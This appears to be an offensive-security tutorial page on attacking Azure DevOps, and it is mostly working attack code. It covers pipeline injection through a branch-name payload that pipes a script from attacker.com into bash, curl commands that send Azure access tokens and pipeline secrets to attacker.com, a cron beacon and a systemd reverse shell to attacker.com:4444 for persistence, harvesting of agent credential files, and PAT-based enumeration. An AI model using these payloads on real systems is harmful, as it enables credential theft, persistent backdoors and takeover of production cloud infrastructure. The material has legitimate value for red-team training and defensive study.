🔥 Advanced

Azure DevOps Attacks

Azure DevOps (ADO) is deeply embedded in enterprise environments. Service connections, variable groups, and pipelines are high-value targets for lateral movement into Azure and beyond.

Enterprise Goldmine

ADO often has service connections to production Azure subscriptions, AWS accounts, and Kubernetes clusters. Compromise ADO = compromise everything it deploys to.

ADO Attack Surface

🔗
Service Connections
Azure, AWS, K8s, Docker
📦
Variable Groups
Secrets, configs
🏃
Agent Pools
Self-hosted runners

Pipeline Injection

ADO pipelines use YAML similar to GitHub Actions. Same injection risks apply:

bash
# azure-pipelines.yml - VULNERABLE pattern
trigger:
  - main

pool:
  vmImage: ubuntu-latest

steps:
# VULNERABLE: User-controlled input in script
- script: |
    echo "Building PR: $(System.PullRequest.SourceBranch)"
    echo "Commit message: $(Build.SourceVersionMessage)"
  displayName: 'Build Info'

# ATTACK: Create PR with branch name or commit message:
# ; curl https://attacker.com/shell.sh | bash #

# Exfiltrate service connection creds
- task: AzureCLI@2
  inputs:
    azureSubscription: 'Production-Azure'  # Service connection
    scriptType: 'bash'
    scriptLocation: 'inlineScript'
    inlineScript: |
      # These are now available!
      az account get-access-token --query accessToken -o tsv | \
        curl -X POST -d @- https://attacker.com/azure-token

Service Connection Abuse

The Crown Jewels

Service connections store credentials for Azure subscriptions, AWS accounts, Kubernetes clusters, and more. If you can access them, you own the connected infrastructure.
bash
# List service connections (requires Project Admin or endpoint reader)
# Via REST API:
curl -u :PAT "https://dev.azure.com/ORG/PROJECT/_apis/serviceendpoint/endpoints?api-version=7.0"

# Service connection types to look for:
# - azurerm (Azure Resource Manager)
# - aws (AWS IAM)
# - kubernetes (K8s clusters)
# - docker (Container registries)
# - ssh (SSH endpoints)

# Using az devops CLI
az devops service-endpoint list --organization https://dev.azure.com/ORG --project PROJECT

# If you have pipeline access, use the connection in your pipeline:
- task: AzureCLI@2
  inputs:
    azureSubscription: 'Prod-ServiceConnection'
    scriptType: bash
    scriptLocation: inlineScript
    inlineScript: |
      # Now you have Azure access!
      az account show
      az keyvault list
      az vm list --query "[].{Name:name,IP:publicIps}"

Variable Group Extraction

bash
# Variable groups store secrets used across pipelines
# List variable groups
curl -u :PAT "https://dev.azure.com/ORG/PROJECT/_apis/distributedtask/variablegroups?api-version=7.0"

# Get specific variable group (secrets will be masked)
curl -u :PAT "https://dev.azure.com/ORG/PROJECT/_apis/distributedtask/variablegroups/GROUP_ID?api-version=7.0"

# To extract secrets, use them in a pipeline:
variables:
  - group: 'Production-Secrets'  # Links the variable group

steps:
- script: |
    # Secrets are in environment, exfiltrate them
    env | grep -v "^_" | curl -X POST -d @- https://attacker.com/vars
    
    # Or specific variables
    echo "DB_PASSWORD=$(DB_PASSWORD)" | base64 | curl -d @- https://attacker.com/
  displayName: 'Exfil'

# Key Vault linked variable groups
# These pull secrets from Azure Key Vault at runtime
# Even more valuable - gives you Key Vault access!

Self-Hosted Agent Attacks

bash
# Self-hosted agents run on customer infrastructure
# Often have network access to internal systems

# Persistence on agent
- script: |
    # Cron job for persistence
    echo "* * * * * curl -s attacker.com/beacon.sh | bash" | crontab -
    
    # Or systemd service
    cat > /tmp/backdoor.service << EOF
    [Service]
    ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'
    Restart=always
    EOF
    sudo mv /tmp/backdoor.service /etc/systemd/system/
    sudo systemctl enable backdoor && sudo systemctl start backdoor
  displayName: 'Build'

# Credential harvesting from agent
- script: |
    # Agent credentials stored in .credentials file
    cat /home/vsts/agent/.credentials
    
    # Azure CLI cached tokens
    cat ~/.azure/accessTokens.json
    
    # Docker configs
    cat ~/.docker/config.json
    
    # SSH keys
    ls -la ~/.ssh/
  displayName: 'Harvest'

# Network reconnaissance from agent
- script: |
    # Often on internal network
    ip addr
    cat /etc/resolv.conf
    nmap -sn 10.0.0.0/24
    curl http://169.254.169.254/metadata/instance?api-version=2021-02-01 -H "Metadata:true"
  displayName: 'Recon'

PAT Token Abuse

bash
# PATs are often overprivileged and long-lived
# If you find a PAT, test its permissions:

# Check token scope
curl -u :PAT "https://dev.azure.com/ORG/_apis/connectionData"

# List all projects
curl -u :PAT "https://dev.azure.com/ORG/_apis/projects?api-version=7.0"

# List repos
curl -u :PAT "https://dev.azure.com/ORG/PROJECT/_apis/git/repositories?api-version=7.0"

# Clone repos (PAT as password)
git clone https://ORG@dev.azure.com/ORG/PROJECT/_git/REPO
# When prompted, use PAT as password

# List pipelines
curl -u :PAT "https://dev.azure.com/ORG/PROJECT/_apis/pipelines?api-version=7.0"

# Queue a pipeline run (if permitted)
curl -X POST -u :PAT \
  -H "Content-Type: application/json" \
  -d '{"resources":{"repositories":{"self":{"refName":"refs/heads/main"}}}}' \
  "https://dev.azure.com/ORG/PROJECT/_apis/pipelines/PIPELINE_ID/runs?api-version=7.0"

Pipeline Permissions

bash
# ADO has complex permission model
# Key areas to check:

# 1. Pipeline permissions on service connections
# Some connections allow "all pipelines" - any pipeline in project can use it

# 2. Variable group permissions
# Check if your pipeline can access sensitive variable groups

# 3. Environment approvals
# Production environments may have approval gates - can you bypass?

# List environments
curl -u :PAT "https://dev.azure.com/ORG/PROJECT/_apis/distributedtask/environments?api-version=7.0"

# Check environment permissions
curl -u :PAT "https://dev.azure.com/ORG/PROJECT/_apis/pipelines/pipelinePermissions/environment/ENV_ID?api-version=7.0-preview"

# Pipeline authorization for resources
# If "Allow all pipelines", your malicious pipeline can use prod creds!

Enumeration Checklist

bash
# Install Azure DevOps CLI extension
az extension add --name azure-devops
az devops configure --defaults organization=https://dev.azure.com/ORG

# List all projects
az devops project list

# List repos in project
az repos list --project PROJECT

# List pipelines
az pipelines list --project PROJECT

# List service connections
az devops service-endpoint list --project PROJECT

# Search code for secrets
az repos search "password" --project PROJECT

# Get pipeline YAML
az pipelines show --id PIPELINE_ID --project PROJECT

# List variable groups
az pipelines variable-group list --project PROJECT

Tools